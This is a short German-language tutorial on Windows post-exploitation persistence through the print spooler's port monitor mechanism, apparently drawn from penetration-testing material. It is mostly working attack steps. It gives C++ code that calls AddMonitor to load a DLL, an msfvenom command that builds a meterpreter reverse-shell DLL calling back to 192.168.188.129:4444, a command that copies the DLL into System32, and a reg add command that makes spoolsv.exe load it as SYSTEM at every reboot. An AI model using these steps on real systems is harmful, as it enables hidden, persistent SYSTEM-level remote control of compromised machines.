
A old way to Persistence
Wird zur Implementierung der Rechtepersistenz in der Post-Exploitation-Phase verwendet.
Schritt 1: Laden Sie das Projekt herunter und kompilieren Sie anschließend Monitor.cpp mit VS. Sie können natürlich auch die bereits kompilierte Version verwenden. Der Code von Monitor.cpp lautet wie folgt:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
Schritt 2: Generieren Sie mit Msfvenom eine DLL-Payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Schritt 3: Kopieren Sie shell.dll in das system32-Verzeichnis des Zielhosts und benennen Sie die Datei anschließend in test.dll um (das ist der oben genannte PDLLName; Sie können es auch nach Belieben ändern, ganz wie Sie möchten).
copy C:\temp\shell.dll C:\Windows\System32\test.dll

Schritt 4: Wechseln Sie anschließend in das system32-Verzeichnis und führen Sie den folgenden Befehl aus (Monitors.exe ist die zuvor kompilierte Datei und muss ebenfalls im system32-Verzeichnis abgelegt werden):
Monitors.exe

Schritt 5: Danach wird erfolgreich eine Meterpreter-Sitzung empfangen.

Um Persistenz zu erreichen, müssen wir unter dem Registrierungsspeicherort "Monitors" einen Schlüssel (Key) anlegen:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
Führen Sie anschließend in der Befehlszeile den folgenden Befehl aus, um einen Registrierungseintrag zu erstellen, der den Wert test.dll enthält. Überprüfen Sie im Registrierungseditor, ob der Schlüssel erstellt wurde:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

Beim nächsten Neustart lädt der spoolsv.exe-Prozess alle Treiber-DLL-Dateien, die im Registrierungseintrag Monitors vorhanden sind und im Windows-Ordner System32 gespeichert sind. Die folgende Abbildung zeigt, dass eine Meterpreter-Sitzung mit derselben Berechtigungsstufe wie der Print-Spooler-Dienst (SYSTEM) aufgebaut und aus dem System32-Ordner ausgeführt wurde.
